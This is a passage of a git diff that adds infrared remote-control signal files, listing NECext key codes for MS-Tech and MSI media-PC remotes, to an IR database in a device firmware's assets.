KEY_BACK +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 15 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 16 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 17 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 18 00 00 00 +# +name: MORE +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 19 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 1A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 1B 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 1D 00 00 00 +# +name: KEY_PC +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 1E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 1F 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 40 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 41 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 42 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 43 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 44 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 45 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 46 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 47 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 50 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 51 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 52 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 53 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 54 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 55 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 57 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 58 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 59 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 5A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 5B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 5C 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 5D 00 00 00 +# +name: BLACK_MYRADIO +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 5E 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir b/assets/resources/infrared/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir new file mode 100644 index 000000000..3a70e9841 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 01 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 02 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 03 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 05 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 06 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 14 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 15 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 16 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 17 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 18 00 00 00 +# +name: more +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 19 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 1A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 1B 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 1D 00 00 00 +# +name: KEY_PC +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 1E 00 00 00 +# +name: mypicture +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 1F 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 40 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 41 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 42 00 00 00 +# +name: raute +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 43 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 44 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 45 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 46 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 47 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 50 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 51 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 52 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 53 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 54 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 55 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 57 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 58 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 59 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 5A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 5B 00 00 00 +# +name: myvideo +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 5C 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 5D 00 00 00 +# +name: myradio +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 5E 00 00 00 +# +name: mymusic +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir new file mode 100644 index 000000000..3c17ebae1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: T-Shift +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 11 00 00 00 +# +name: HiFi +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: Mts/Srs +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 40 00 00 00 +# +name: Fm/Am +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 41 00 00 00 +# +name: KEY_MP3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 42 00 00 00 +# +name: KEY_IMAGES +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 43 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 44 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 45 00 00 00 +# +name: KaraOk +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 46 00 00 00 +# +name: Ap +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 47 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 48 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 49 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 4E 00 00 00 +# +name: Ttx +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 4F 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 52 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 53 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 55 00 00 00 +# +name: Set +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 57 00 00 00 +# +name: Eq +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 58 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 59 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5A 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5D 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir new file mode 100644 index 000000000..a4a8748da --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0E 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0F 00 00 00 +# +name: KEY_F +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: T-Shift +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 11 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 15 00 00 00 +# +name: skip-fr +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: Ch.RTN. +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: skip-ff +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: mem.set +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 19 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: eq +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1D 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 4A 00 00 00 +# +name: Hifi +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 4B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir new file mode 100644 index 000000000..9d225a52e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir @@ -0,0 +1,596 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: T-Shift +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 11 00 00 00 +# +name: HiFi +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: Mts/Srs +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: Rev +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: CH_RTN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: Ffd +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 40 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 40 00 00 00 +# +name: Fm/Am +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 41 00 00 00 +# +name: FMRadio +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 41 00 00 00 +# +name: KEY_MP3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 42 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 42 00 00 00 +# +name: KEY_IMAGES +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 43 00 00 00 +# +name: KEY_IMAGES +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 43 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 44 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 44 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 45 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 45 00 00 00 +# +name: KaraOk +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 46 00 00 00 +# +name: GameZone +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 46 00 00 00 +# +name: Ap +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 47 00 00 00 +# +name: Application +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 47 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 48 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 48 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 49 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 49 00 00 00 +# +name: Enter2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 4D 00 00 00 +# +name: Enter_Small +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 4D 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 4E 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 4E 00 00 00 +# +name: Ttx +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 4F 00 00 00 +# +name: CC_TTX +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 4F 00 00 00 +# +name: Suspend +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 50 00 00 00 +# +name: Suspend +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 50 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 51 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 51 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 52 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 52 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 53 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 53 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 54 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 54 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 55 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 56 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 56 00 00 00 +# +name: Set +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 57 00 00 00 +# +name: Eq +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 58 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 59 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 59 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5A 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5B 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5D 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5F 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_test/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_test/134,107.ir new file mode 100644 index 000000000..fe085051c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_test/134,107.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0F 00 00 00 +# +name: Function +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: TShift +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 